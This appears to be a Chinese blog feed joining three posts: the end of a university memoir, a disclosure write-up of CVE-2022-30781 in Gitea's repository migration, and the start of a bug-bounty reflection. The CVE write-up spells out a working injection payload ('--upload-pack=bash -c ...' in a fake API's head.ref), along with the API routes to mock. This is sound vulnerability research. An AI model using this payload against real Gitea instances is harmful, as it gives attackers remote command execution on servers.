暑假快结束的时候,有幸跟着协会的学长去某省公安局护网,当时大家其实也都是第一次护网,没什么经验。只能靠着弱口令瞎试,最后主办方看不下去了还偷偷塞给我们新的目标,可惜最后成绩还是不怎么好。不过倒是一次很新奇的体验,那个省份因为靠近西北,所以烧烤外卖的羊肉串牛肉串是真的又大又好吃。</p> <p>大二开学后,我便忙开始于社团招新。<del>有什么是比欺负刚来的大一新生更有意思的呢?</del> 大家多多少少都有些好为人师,总是喜欢言传身教,我对大一的新生就经常这样哈哈哈。大二上学期也跟着协会的小伙伴们去了天津的第五空间线下赛以及首届字节跳动 ByteCTF,前者保底拿了个 5000 的奖金,后者拿了个第六名的不错成绩。全靠 @Li4n0 Web 带我飞了,当时第一天发现靶机 SSH 要密钥登录,之前写的脚本全都用不了,人直接蒙了。 这学期协会也举办了第一届 D^3CTF,当时是第一次去日租房参加运维。(虽然自己线上没出题,只是去骗吃骗喝的。)线下赛可谓惊心动魄,当时的比赛平台其实很不稳定,我们有一大半的时间是在修平台,自己也是两天没睡觉。直到比赛的第一天下午,在旁边沙发上一倒直接睡到傍晚。 这学期也是我第一次没有挂科的学期。早在开学的时候,隔壁宿舍的同学就跟我说这学期学的计算机组成原理会很难,挂科率很高。当时我那个慌的,想着绝对不能挂了,不然补考就糟了。计组的课是安排在每周三周四的早上八点,当时我每天早早买好早餐,都提前 15 分钟到教室,坐第一排认真听讲。这可能是我大学为数不多的认真从头到尾听讲的课。授课的老师是当时的学院副院长,也是一个很有趣的人,我很喜欢。期末考试的卷子只有两道大题,一道 40 分,一道 60 分,难度确实大,考察也很全面。不过最后我以八十多的高分通过了,可喜可贺可喜可贺。 这个学期结束的时候,我也因为给 bilibili 交了两个高危安全漏洞,而赚到了 8000 元,美滋滋地回家过年。 可以说,我的大二上学期,是我大学四年的光辉时刻。</p> <p>而大二上学期的寒假,也就是 2020 年初,很遗憾,新冠疫情来了。 2020 年的疫情深深地改变了这个世界原本的运作方式。原本 2 月就要返校的寒假,被疫情硬生生地拖到了 5 月,我在家里被迫上着网课,作息极度不规律。因为久久没出门,再加上看到电视上的种种负面新闻,整个人的心理也是很难受的。也是在当时入坑了 Vtuber,开始推 Overidea,感谢 Overidea 陪伴我度过了疫情期间一个又一个夜晚。 但疫情导致的这三四个月的寒假,其实也是一种机遇。我在这段时间里,将之前 D^3CTF 的平台进行重构 —— Cardinal 诞生了。可以说她贯穿了我整个 2020 年,从第一次开源,到补开发文档,到建立用户交流群,再到开源 3D 大屏&hellip;&hellip; 期间我认识了不少人,也积攒了很多宝贵的经验。我开始认识到做开源的我并不能满足所有人的需求,也不是所有人都对我抱有善意。我应该选择性地去对待他们。</p> <p>2020 年 3 月的时候,我收到了某大厂的面试邀约,因此我也就投了他们的实习岗。那是我人生中参加的第一次面试,可惜结果并不理想,最终没能通过。那段时间我对自己也陷入了深深地质疑,怀疑自己是不是不适合学计算机。一直以来以兴趣为导向的我却不得不被逼着去学去做一些我不喜欢的东西,这让我很难以接受。就这样消沉了一段时间后,有天下午我翻邮箱的时候看到了一封邮件,这便是我加入 ForkAI 的开始。何老师通过 Vidar 的官网找到了我的博客,然后给我发了邮件,问我有没有兴趣来做逆向相关的事情。我的方向其实是 Web 而非逆向,但我还是回复说可以试试。自己调研了下之后回复说可能需要一台 iPad 真机进行调试分析,何老师问我要了家庭地址后,没几天 iPad 就寄到了。当时我其实挺吃惊的,我和他素不相识,但他却能如此地信任我。之后的事情,很多人其实也都知道了,我大学的后半段时间几乎都投入在了公司这边,这两年多来,我遇到了形形色色的人与事情,数不胜数。</p> <p>2020 年 5 月初,学校开始安排学生陆续返校,当时急不可耐地我赶紧买了最早的机票回了杭州。现在想想,还是自己家里最舒服。回到学校后,因为没有血清报告,我被强制带去空宿舍楼隔离。隔离的第一天我还很不情愿,但后来慢慢爱上了这种一个人住在大宿舍里,每天睡到自然醒,每天有人送饭,床下就是电脑还有网络的生活了。隔离结束后我还有点念念不舍。</p> <p>隔离结束后,我像平时一样回到了平淡的日常校园生活中。当时的我以为日子将会这么无忧无虑地过下去,但在五月底发生的一件事,给我的之后的大学生活蒙上了一层厚厚地阴影。这件事我不想再去回顾,当时它给我的打击是巨大的,<del>甚至让我产生了要轻生的想法</del>。它阴差阳错的发生了,但凡其中任何一个步骤变动下,都不至于是当时那个结果。虽然这件事最后如愿以偿地顺利解决了,但它已经给我留下了无法抹去的痕迹,可能在五年后十年后的某个夜晚,我会在睡梦中再次忆起此事,然后惊醒。大二下学期剩下的时间,我也在极力调整着自己的心理状况,让室友带我出校吃些好吃的,晚上买几瓶酒回宿舍麻痹自己。那对我来说真的是特别阴暗的一段时光,我冤屈而又无助,我努力安慰着欺骗着自己,我看到了人性的懒惰与官僚主义的尸位素餐,我站在原地又无可奈何。</p> <h2 id="大三--无功与阴差阳错">大三 · 无功与阴差阳错</h2> <p>时间到了大二的暑假,这个暑假我除了忙于公司的事情之外,我还在跟着协会打比赛。最终是拿到了 CyBRICS CTF 2020 全球第七名,GACTF 2020 第一名的好成绩。当时暑假还有个很令我记忆犹新的事情,是 Maro 因为没有买到回家的高铁票而在我家住了一晚,这也是我人生第一次有同学到家里来过夜的,让同学看到自己脏乱的房间真的很不好意思 QwQ。</p> <p>大三上学期开学后,那个学期我一连参加了好几个比赛,凡是有的线下赛我几乎都报名了。可惜的是都没能取得啥好的成绩。唯一的收获就是游览了祖国的大好河山。(其实也是假的,天天在酒店里也不出去)国赛第二天改赛制,被 ylb 的平台给恶心到了,改成解题赛后成绩并不理想,12 月末的 XUNCA 决赛是在深大体育场,我也带着大学室友游览了一遍我从小长大的地方。这种体验真的很梦幻,小时候的我一定不会想到,十多年后我会带着大学同学再次回到这些熟悉的地方。 大三的课其实也不少,令我印象很深刻的是高老师。我那个学期有两门是她的课,她应该也是当老师不久,比我们大不了多少。所以她很明白学生们的小心思,也很为学生着想。看到我作业晚交了,验收次数不够,一直会催着我去做。她是那种我愿意敞开心扉跟她聊的老师,当时自己随手写了个提醒我按时交作业的 bot,我第一时间就想与她分享。最后期末验收也是很戏剧性,我一学期的课几乎没有听,可验收的时候高老师问的每个问题我都能答上来不少,甚至还是对的。她都开始怀疑我是不是假装自己没听过课了哈哈哈。可能真的是凭直觉的运气好吧。 大三的寒假特别短,因为疫情影响也是没有回湖南。很久没有在深圳过年了,那段时间还是属于沉《魔女之旅》的时候,每天晚上代码写累了就躺床上补小说。深圳的冬天确实不冷,白天甚至可以只穿一件长袖,在床边坐上一天。</p> <p>大三下学期回到杭州后,公司那边开始忙起来了。我将更多的时间投入到了工作上。4 月份举行了一次到安吉的团建,团建前的几天我的电脑主板还烧了,只能赶紧去西湖苹果店买一台新的。最后还好也是赶上了那次的客户交付。大三下学期这一年公司人员流动以及动荡挺大的,期间我也多次感觉十分疲倦有些撑不下去了。甚至精神恍惚到从出口进学校图书馆,被门口保安叫住后我还一脸疑惑地想他为啥不让我进去。比较可惜的是大三后半年下来,在公司的一些事情开了又停,这么断断续续的导致最后没有几个事情是能完整做完的,可时间和金钱确实已经被浪费了。 我其实除了大四之外,每年都会去一次上海。大一的时候是去看 Mili 的演唱会和 Vueconf 2019,大二是去看 Bilibili Macro Link 2020,大三是去找队长吃饭顺便去拜访了无闻老师的家。算是年度任务了。杭州到上海确实很方便,一般来说清晨七八点钟高铁过去,晚上六七点钟的高铁回来。</p> <h2 id="大四--坚韧与得偿所愿">大四 · 坚韧与得偿所愿</h2> <p>时间来到了大四上学期,因为大三的时候经常在公司,翘了不少课,导致一门很蠢的选修课居然被老师给挂了。无奈只能大四再选两门课把学分给补上。可能因为是大学的最后一年了,这两门课我都按时到教室听课了,作业也都完成了。期末靠前老师划重点的时候全程记录下来,两门课都自己整理了相关的资料进行复习。当然,最后当然也都顺利通过了。还记得期末考试时,我一个大四的学生在考场门口遇到大二学弟的场景。😅</p> <p>大四上学期还有个很重要的事,那就是毕业设计了。因为之前发生的事情,我想把毕业这些事尽早做完,尽早毕业。因此在大四上学期就选上了第一批的毕业设计。那一排选题自己其实都不怎么感兴趣,最后挑了个 XSS 平台的开发。找到导师说我对这个选题是多么多么地感兴趣,自己也有很多想法。导师回复我课题已经被选了,后来又反转成之前那个学生退了选题。(后来得知我的导师这次毕设只带了我一个学生,其他要考研的学生都被他劝退了) 毕设刚开始的时候我根本没咋当回事,就突击了一下做了 20%。后面导师催着我要开题的时候,才提前一星期写了开题报告和 PPT,当时我表现的挺慌的,身边的人还以为我参加的是最终的论文答辩,听闻居然只是开题后都纷纷表示不屑。开题报告上,某个大一时单独找我聊过天,后来风评逐渐转差的老师开始问及我的一些工作就业相关的问题,我其实挺明白的他就是想显摆刷存在感;但是我也不至于模仿什么爽文男主,把实情透露给他打他的脸。最后只是微笑着搪塞过去了。 进入冬季后,论文查重与答辩也快来了。当时我的进度其实是慢了一截的。甚至离查重还有一个半星期了,我论文还没开始写!所以我当时给自己定下的目标就是每天必须得写满 2000 字才能睡觉。所以那段时间每晚几乎都是两三点才睡。印象很深刻的是有次在公司加班,太晚了便在公司附近找了个公寓酒店住,那个老板跟我说帮我换了个大房间,结果一进房间味道挺大的,也就将就着住了。那天晚上肝到三四点钟,一看手机没电了,但是又没有充电线,电脑端饿了么的 H5 页面也用不了,我直接人傻了。最后是跑到了楼下大堂,看到有接充电宝的,找楼下保安帮我接了个才解决。后来论文查重前也是挺惊险的,那天晚上十点收到导师的微信,说第二天九点前要提交论文查重,我一看还剩两三千字,还要改格式,人直接傻了。赶紧收拾好包背上电脑冲向了离学校最近的酒店。那天是一直肝到了第二天六点才写完,写完后在网上找了两家论文查重的网站,把查重结果和论文微信发给导师后,他居然秒回收到,看来都没有睡呢。发完后我便去补觉了,睡到中午一觉醒来导师微信告诉我查重通过了,可喜可贺。 最后的论文答辩,其实还蛮顺利的。台下老师问的问题也都是项目功能、代码量之类的,随便三两下轻松应对。答辩结束后,晚上出校吃了烤肉,回去的路上还买了一直很喜欢喝得椰椰奶冻。 不过答辩结束并不意味着毕业设计就结束了,关于论文还有一些内容和格式上需要修改的。这也是我导师唯一一次给我的指导 —— 一个 15 分钟的微信电话。他按点给我列出了要改的内容和要修正的字体格式。我后面按照他说的改好后,最终版直接拿去楼下电脑城装订了。所以我的论文几乎是没什么大的修改,也没被导师打回去过。我的导师全程也和我一样很摆,这使得他在下学期的毕设中也这么摆,结果不对劲了。(可能并不是所有的学生都像我一样优秀能够让老师省心吧哈哈哈)</p> <p>大四下学期,因为疫情,寒假回到深圳后一直回不去杭州,每次都是见着好转准备买票的时候,突然新增了几例阳性。陆陆续续我退了有三四次票了。过年的时候回了趟湖南,期间住在奶奶的新房子里。湖南的冬天是湿冷的,这点跟杭州很不一样。杭州的冬天虽然了冷,但晚上我盖上被子,也就暖和了。湖南因为相对潮湿,被子上沾上了水汽在冬天是冷的。🥶 晚上睡觉的时候盖上被子反倒更冷了。 过年那会我本来是想在奶奶家静下心来写点开源项目的,可是却跑去挖洞了,期间确实也小有成果,自己也学到了不少。后来因为这些洞也赚了笔小钱。传送门:<a href="https://github.red/security-bounty-thought/" title="聊聊最近挖 Security Bounty 的感受">聊聊最近挖 Security Bounty 的感受</a> 我也没想到两年后我居然又能在家里过生日,不过 22 岁的生日没给我有太大的实感,越长大越对过生日没兴趣了。小的时候会给自己整很多有仪式感的东西,现在就吃个蛋糕,这一天也就过了。</p> <p>四月中旬,我回到了学校。在不到半个月后,“以为死去的回忆突然开始攻击我”,我才知道大二下学期的那件事居然还没完,并且也做好了是时候该做个了断的觉悟。之后的一个多月来我一直郁郁寡欢,不断地尝试去补救,世界也一次又一次地给我希望,然后重重地把我摔到地上。最后,就当我尝尽一切办法,自认为已无力回天时,这件事情最后却又再次出乎意料地完美收场了。当压抑了很久的悲痛突然被释放时,我反倒没觉得有多轻松,心里还是提高着戒备,我想接下来就自己慢慢调理,慢慢走出来吧。</p> <p>最后快要毕业的一个星期,我穿上学士服,拍了毕业照。同时开始收拾我在宿舍的东西,曾经我收集的各种包装盒和小玩意,到做取舍的时候,全被我丢弃了。以前自己总想着这些东西今后保不齐突然要用上,一直舍不得丢,现在却是被暴力的拆开来检查一遍,然后直接丢掉。我没有做过多的停留,分两次打包好了宿舍的东西,搬到了我现在住的公寓里。甚至直到现在我还认为,只要我想,我便能再次走进学校。</p> <h2 id="unlasting">Unlasting</h2> <p>最后这一个段落用一首歌名来结尾。</p> <p>以上就是我顺着回忆记录下来的我的大学四年。期间还有很多精彩的瞬间,遇到了很多有趣的人,抱歉由于篇幅原因以及我现在实在是太困了所以没有写。这并不代表他们不重要,相反他们可能重要到我会时常想起,甚至已经是我生活日常中的一部分了。 以上所有提到了和未提到的,都被我一一记录在了手机相册中。闲的时候我会翻着相册,将自己代入当时的心情。</p> <p>我的大学四年生活已经结束了。这其中我遇到了种种出乎意料的事情。这也让我不敢做太长远的规划,因为它往往都不按我设想的方式进行,最终都是以以其它的结果呈现给我,我很少能遇到完美的如愿以偿。 我在这四年里表现的可能不是那么出彩,但是这四年真真切切地流过了。我迷茫地站在这个新的起点,义无反顾地向前走。</p>CVE-2022-30781:一条普通的 Git 命令导致的 Gitea RCEhttps://github.red/gitea-rce/Sun, 29 May 2022 00:00:08 +0800https://github.red/gitea-rce/<blockquote> <p>本文首发于跳跳糖 <a href="https://tttang.com/archive/1607/">https://tttang.com/archive/1607/</a></p></blockquote> <p>今年过年放假的时候,我就在挖 Go 相关开源项目的 Security Bounty。通过整理分析现有 Go 开源项目的历史 CVE,我大致摸索出了 Go 项目易出现漏洞的一些地方,以及开发人员经常会疏忽的问题。 前后提交的几个漏洞让我有了好几个 CVE,并且小赚了一笔,换算成人民币应该接近六位数了。😈 具体可以阅读我的上一篇文章:<a href="https://github.red/security-bounty-thought/">聊聊最近挖 Security Bounty 的感受</a></p> <h2 id="gogs-被-rce-了那-gitea-呢">Gogs 被 RCE 了,那 Gitea 呢?</h2> <p>在上面的文章中,我提到自己挖掘到了一枚 Gogs 中因为未对用户可控的目录路径进行检测,从而导致后续路径拼接可以导致目录穿越,从而使得攻击者能上传覆盖环境中的任意文件。 在能覆盖任意文件后,我使用的是之前 CVE-2019-11229 中提到的方法,覆盖一个 Git 仓库中 <code>.git/config</code> 文件,设置 <code>core.sshCommand</code> 参数从而达到远程任意命令执行。</p> <p>一直以来我都十分欣赏这个漏洞,因为它给人畜无害的 Git 传入了恶意的配置,就能导致命令执行。类似的还有 <code>curl</code>,前阵子做到过一道 CTF 题,在环境变量可控的情况下,可以使用 <code>curl</code> 来覆盖文件,同样也十分精彩。</p> <p>那么,既然 Gogs 被我们 RCE 了,那基于 Gogs 代码分叉出去的 Gitea,是否也存在调用 Git 时,传入恶意参数导致命令执行的问题呢?这,就是这篇文章要讲述的。</p> <h2 id="寻找攻击点">寻找攻击点</h2> <p>Gitea 是一个前后端不分离的项目,很多操作还是通过 POST 表单提交。我刚开始审计 Gitea 项目时,打算先集中看一遍它的输入,因此选择先从 Gitea API 入手。通过点击 Gitea 页面右下角的 「API」即可看到一个用 Swagger 搭建的 API 文档。网页上通过表单提交的操作,在这里基本可以找到与之对应的 RESTful API。</p> <p>第一个 <code>admin</code> 是管理员的操作,肯定有个中间件鉴权,纵使后面有洞也会被前面的中间件给拦了,优先级靠后,先跳过。第二个 <code>miscellaneous</code> 是一对杂项功能,基本不涉及啥复杂的交互,也先跳过&hellip;&hellip; 之后一连串的看下去,都是些简单的 CRUD 操作,寻思也写不出啥洞,我也懒得去看。😅 而后当点开 <code>repository</code> 选项卡,第一个接口是:</p> <blockquote> <p>POST <code>/repos/migrate</code> Migrate a remote git repository</p></blockquote> <p>诶~ 这个好像有点意思,迁移远端的仓库过来,那肯定是要请求给定的远端仓库 URL,说不定保底就是个 SSRF。展开看接口传入的 JSON 内容,其中包含远端仓库的 URL、是否迁移 Issues、Pull Request、Releases、LFS 等数据。联想到我之前挖的 Gitea 任意文件删除漏洞就是在处理 LFS 文件这里,说不定这里从远端迁移 LFS 文件也会存在类似路径穿越的问题? 带着这个猜想,我去看了 Gitea Migration 部分的代码,不看不知道,一看才发现这功能是个筛子。</p> <h2 id="gitea-migration">Gitea Migration</h2> <p>Gitea 的 Migration 迁移功能由两部分组成,<code>Downloader</code> 与 <code>Uploader</code>,对应到代码中分别是 <code>migration.Downloader</code> 与 <code>migration.Uploader</code> 两个接口。前者负责从远端的仓库服务下载仓库信息,后者负责将信息打入到 Gitea 中。 目前 <code>Downloader</code> 支持从 GitHub、Gitlab、GitBucket、Gogs、Gitea 等服务导入代码,你可以在 <code>services/migrations</code> 目录下看到对这些平台的 <code>Downloader</code> 接口实现。一般都是调这些服务的 API 来获取托管在其上面仓库的 Issue、Pull Request、Releases 等信息。而 <code>Uploader</code> 的实现只有一个,那就是 Gitea,因为我们最终只会将远端仓库迁移至本 Gitea 实例中。</p> <p>在 <code>services/migrations/migrate.go#migrateRepository</code> 是迁移一个远端仓库所要进行的步骤。在给函数传入了对应的 <code>Downloader</code> 和 <code>Uploader</code> 后,它将依次做如下操作:</p> <table> <thead> <tr> <th>调用的接口方法</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td><code>downloader.GetRepoInfo</code></td> <td>获取远端仓库基本信息</td> </tr> <tr> <td><code>downloader.FormatCloneURL</code></td> <td>获取远端仓库 Git Clone 地址</td> </tr> <tr> <td><code>uploader.CreateRepo</code></td> <td>创建本地仓库</td> </tr> <tr> <td><code>downloader.GetTopics</code> <code>uploader.CreateTopics</code></td> <td>获取远端仓库 Topic + 创建本地仓库 Topic</td> </tr> <tr> <td><code>downloader.GetMilestones</code> <code>uploader.CreateMilestones</code></td> <td>获取远端仓库里程碑 + 创建本地仓库里程碑</td> </tr> <tr> <td><code>downloader.GetLabels</code> <code>uploader.CreateLabels</code></td> <td>获取远端仓库标签 + 创建本地仓库标签</td> </tr> <tr> <td><code>downloader.GetReleases</code> <code>uploader.CreateReleases</code></td> <td>获取远端仓库 Release 版本 + 创建本地仓库 Release 版本</td> </tr> <tr> <td><code>downloader.GetIssues</code> <code>uploader.CreateIssues</code></td> <td>获取远端仓库 Issue + 创建本地仓库 Issue</td> </tr> <tr> <td><code>downloader.GetComments</code> <code>uploader.CreateComments</code></td> <td>获取远端仓库评论 + 创建本地仓库评论</td> </tr> <tr> <td><code>downloader.GetPullRequests</code> <code>uploader.CreatePullRequests</code></td> <td>获取远端仓库 Pull Request + 创建本地仓库 Pull Request</td> </tr> <tr> <td><code>downloader.GetReviews</code> <code>uploader.CreateReviews</code></td> <td>获取远端仓库 Code Review + 创建本地仓库 Code Review</td> </tr> </tbody> </table> <p>可以看到,仓库迁移的操作就是把信息使用 <code>Downloader</code> 下载回来,然后 <code>Uploader</code> 给存储到本地,这样成对的一来一回。 由于 GitHub、Gitlab、GitBucket 这些属于第三方的 SaaS,我们对其 API 返回的内容并是完全不可控的,因此我将目光瞄准了从 Gogs 和 Gitea 迁移。而 Gitea 的 <code>Downloader</code> 的功能相比 Gogs 的多,当 Gitea 要从另一个 Gitea 实例迁移仓库时,它将请求远端 Gitea 实例的 API,来得知该仓库的名称、Issue、Pull Request、Releases 文件等。 我们试想是否可以伪造一个 Gitea 实例,说白了就是伪造这么一套 Gitea API,让当前 Gitea 实例在迁移仓库时去请求我们伪造的 Gitea API 服务,从中传入一些恶意参数看看能不能搞事情。</p> <p>经过一个通宵的审计加 @Li4n0 的协助,我们终于发现了一枚远程命令执行漏洞。它从恶意的 Gitea 实例读取精心构造的参数后,拼接进正常的 Git 命令,从而导致了远程命令执行。我们形象地将其称之为:Git 投毒(Git Poison)。</p> <h2 id="git-投毒">Git 投毒</h2> <p>漏洞点出现在对 Pull Request 的数据迁移上,调用链如下:</p> <ul> <li><code>services/migrations/migrate.go:L376#uploader.CreatePullRequests</code></li> <li><code>services/migrations/gitea_uploader.go:L466#g.newPullRequest</code></li> <li><code>services/migrations/gitea_uploader.go:L602#g.updateGitForPullRequest</code></li> </ul> <p>出现漏洞的代码块在 <code>services/migrations/gitea_uploader.go:L531-L567</code> 处,精简后的代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">if</span> pr.<span style="color:#d2a8ff;font-weight:bold">IsForkPullRequest</span>() <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> pr.State <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">&#34;closed&#34;</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> pr.Head.OwnerName <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">&#34;&#34;</span> { </span></span><span style="display:flex;"><span> remote <span style="color:#ff7b72;font-weight:bold">:=</span> pr.Head.OwnerName </span></span><span style="display:flex;"><span> _, ok <span style="color:#ff7b72;font-weight:bold">:=</span> g.prHeadCache[remote] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> !ok { </span></span><span style="display:flex;"><span> err <span style="color:#ff7b72;font-weight:bold">:=</span> g.gitRepo.<span style="color:#d2a8ff;font-weight:bold">AddRemote</span>(remote, pr.Head.CloneURL, <span style="color:#79c0ff">true</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> ok = <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ok { </span></span><span style="display:flex;"><span> _, err = git.<span style="color:#d2a8ff;font-weight:bold">NewCommand</span>(g.ctx, <span style="color:#a5d6ff">&#34;fetch&#34;</span>, remote, pr.Head.Ref).<span style="color:#d2a8ff;font-weight:bold">RunInDir</span>(g.repo.<span style="color:#d2a8ff;font-weight:bold">RepoPath</span>()) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>当远端存在来自 Fork 仓库提交的 Pull Request 请求,且该 PR 状态不为 Close 时,会进入该分支。 这里有一个 Map <code>g.prHeadCache</code> 作为临时缓存。第一次进入时该缓存为空,检测到 <code>remote</code> 的值不在 <code>g.prHeadCache</code> 中,调用 <code>g.gitRepo.AddRemote</code> 方法,该方法执行命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f &lt;remote&gt; &lt;pr.Head.CloneURL&gt; </span></span></code></pre></div><p>该命令正常执行,无错误抛出后,便将<code>ok</code> 设置成 <code>true</code>。到下方执行命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git fetch &lt;remote&gt; &lt;pr.Head.Ref&gt; </span></span></code></pre></div><p>当我们选择从远端 Gitea 实例执行迁移时,上述 <code>remote</code> <code>pr.Head.CloneURL</code> <code>pr.Head.Ref</code> 参数<strong>均取自远端 Gitea Web API 响应中</strong>,均是可控的。因此只需要构造一个 HTTP 服务模拟 Gitea Web API 返回响应,以上的三个参数将从响应中获取。</p> <h3 id="git---upload-pack-参数">Git <code>--upload-pack</code> 参数</h3> <p>虽然上述两个命令中的三个参数都可控,但情况并不乐观:</p> <ol> <li>两条指令分别是 <code>git remote add</code> 和 <code>git fetch</code>,我们仅能控制其参数。</li> <li>第二条命令执行的条件是需要保证第一条命令执行成功。</li> </ol> <p>第一个限制,也是这个漏洞的难点所在。在翻阅了 Git 文档后,Li4n0 发现 Git 的 <code>fetch</code> 子命令中存在 <code>--upload-pack</code> 这个参数。根据官方文档,当 <code>--upload-pack</code> 被指定时,其仓库拉取操作将使用 <code>git fetch-pack --exec=&lt;upload-pack&gt;</code> 替代。而 <code>git fetch-pack</code> 中的 <code>--exec</code> 参数同 <code>--upload-pack</code> 参数,用于指定<strong>远端</strong> <code>git-upload-pack</code> 命令执行的路径。</p> <p>而如果我们设置远端 Git 仓库的路径为<strong>一个本地的仓库</strong>,则对于这个仓库来说,客户端是当前 Gitea 实例,远端服务端也是当前 Gitea 实例机器上的一个目录。因此便会在<strong>当前</strong> Gitea 实例所在的机器上执行命令。</p> <p>因此, <code>git remote add</code> 中<code>&lt;pr.Head.CloneURL&gt;</code> 需填入一个本地的 Git 仓库地址。根据 Git 官方文档的描述,Git 支持 <code>file</code> <code>ssh</code> <code>http</code> 三种协议来获取 Git 仓库,本地仓库选择 <code>file</code> 协议。经过测试,如果使用 <code>file://&lt;path&gt;</code> 这种方式,需传入仓库完整的绝对路径。而我们无法得知线上 Gitea 实例的部署情况,自然不知道其绝对路径。同样在查看 Git 官方文档并测试后,我们发现这里不使用 <code>file</code> 协议头,<strong>直接输入仓库的相对路径也是可行的</strong>。当前两条<code>git</code>命令就是在一个 Git 仓库下执行的,因此直接传入<code>./</code> 即可。(也可以使用 <code>file</code> 协议头传入绝对路径 <code>/proc/self/cwd/</code> 来软链接指向当前 Git 命令的运行目录)</p> <p>对于第二个限制,可以注意到两行命令均用到了 <code>&lt;remote&gt;</code> 变量。 若将 <code>&lt;remote&gt; </code> 变量设置成 <code>--upload-pack</code> 参数,因为 <code>git remote</code> 命令中无该参数,第一条命令会执行失败,第二条命令便不再会被执行。因此要将第二行命令中的 <code>&lt;pr.Head.Ref&gt;</code> 设置成 <code>--upload-pack</code> 参数,<code>&lt;remote&gt;</code> 设置成任意合法的名称,如 <code>origin</code>。</p> <p>即最终执行的两条命令就是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f origin ./ </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>git fetch origin --upload-pack<span style="color:#ff7b72;font-weight:bold">=</span>bash -c <span style="color:#a5d6ff">&#39;&lt;cmd&gt;&#39;</span> </span></span></code></pre></div><p>综上,搭建一个 HTTP 服务并配置以下路由,来伪装成一个 Gitea 实例,响应体可以从一个正常 Gitea 的 API 中截取。</p> <pre tabindex="0"><code>/api/v1/version /api/v1/settings/api /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/ /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/topics /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/issues/1/reactions /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls/2/reviews </code></pre><p>在 <code>/api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls/2/reviews</code> 路由的响应 JSON 中,修改对应字段控制上文提到了三个字段的值,其中 <code>&lt;cmd&gt;</code> 为执行的命令:</p> <pre tabindex="0"><code>[0].head.ref: --upload-pack=bash -c &#39;&lt;cmd&gt;&#39; [0].head.repo.clone_url: ./ [0].head.owner.login: &lt;username&gt; </code></pre><p>登录 Gitea 实例,右上角点击「+」-&gt; 「迁移外部仓库」-&gt;「Gitea」,在 「从 URL 迁移/克隆」 中填入上文搭建的伪装 Gitea 实例地址,执行迁移操作,代码便会被执行。</p> <h2 id="最后聊几句">最后聊几句</h2> <p>其实上面提到的这个只是 Gitea Migration 里杀伤力最大的一个漏洞,比这影响范围小的漏洞还有几个。比如同步 Git 仓库时输入本地目录可以越权查看已知仓库名的私有仓库,同步 Releases 发版信息时 HTTP GET 请求远端文件的 SSRF 等。这些大家可以自己去发掘下。 这个漏洞也正是我在文章开头提到的,给我们日常使用的程序传入恶意的配置或子命令,从而导致任意命令执行。如果开发人员不了解相关的 Trick,那么在调用第三方程序时就会很容易写出类似的漏洞,可谓防不胜防。</p> <h2 id="时间线">时间线</h2> <ul> <li>2022-04-16 发现漏洞</li> <li>2022-04-18 完成 Exploit 编写</li> <li>2022-04-25 向 Gitea 官方上报漏洞信息</li> <li>2022-04-26 Gitea 官方回复漏洞已确认,将在 v1.16.7 版本中修复</li> <li>2022-05-02 Gitea 发布 v1.16.7 版本,漏洞被修复</li> <li>2022-05-16 下发 CVE 编号:CVE-2022-30781</li> </ul>聊聊最近挖 Security Bounty 的感受https://github.red/security-bounty-thought/Sat, 19 Mar 2022 02:17:21 +0800https://github.red/security-bounty-thought/<blockquote> <p>文章头图来自 @大空水獭 <a href="https://t.bilibili.com/637532953957629970">https://t.bilibili.com/637532953957629970</a></p></blockquote> <h2 id="起因">起因</h2> <p>有将近四个月没写点东西了。赶着周六的凌晨,带着些许睡意,想来分享下从去年年末到现在挖 Security Bounty 的感受与经验。文中会挑选几个我觉得有意思的漏洞,分析其背后的故事以及我的想法。</p> <p>记得三年前,大二上学期刚开学协会招新的时候,跟新生聊到协会的 @Li4n0 学长大二就 Typora RCE 连拿两个 CVE,那新生便问我有没有 CVE 编号。我一时语塞,挠挠头尴尬地回答没有。可能就是这个原因吧,后来自己特别想要有个 CVE 编号。 之后虽然也在空闲的时候陆陆续续地去挖了一些 SRC,赚了点小钱,但最终的报告又不公开,自己拿了钱确实爽,但对外没啥能吹得。😅</p> 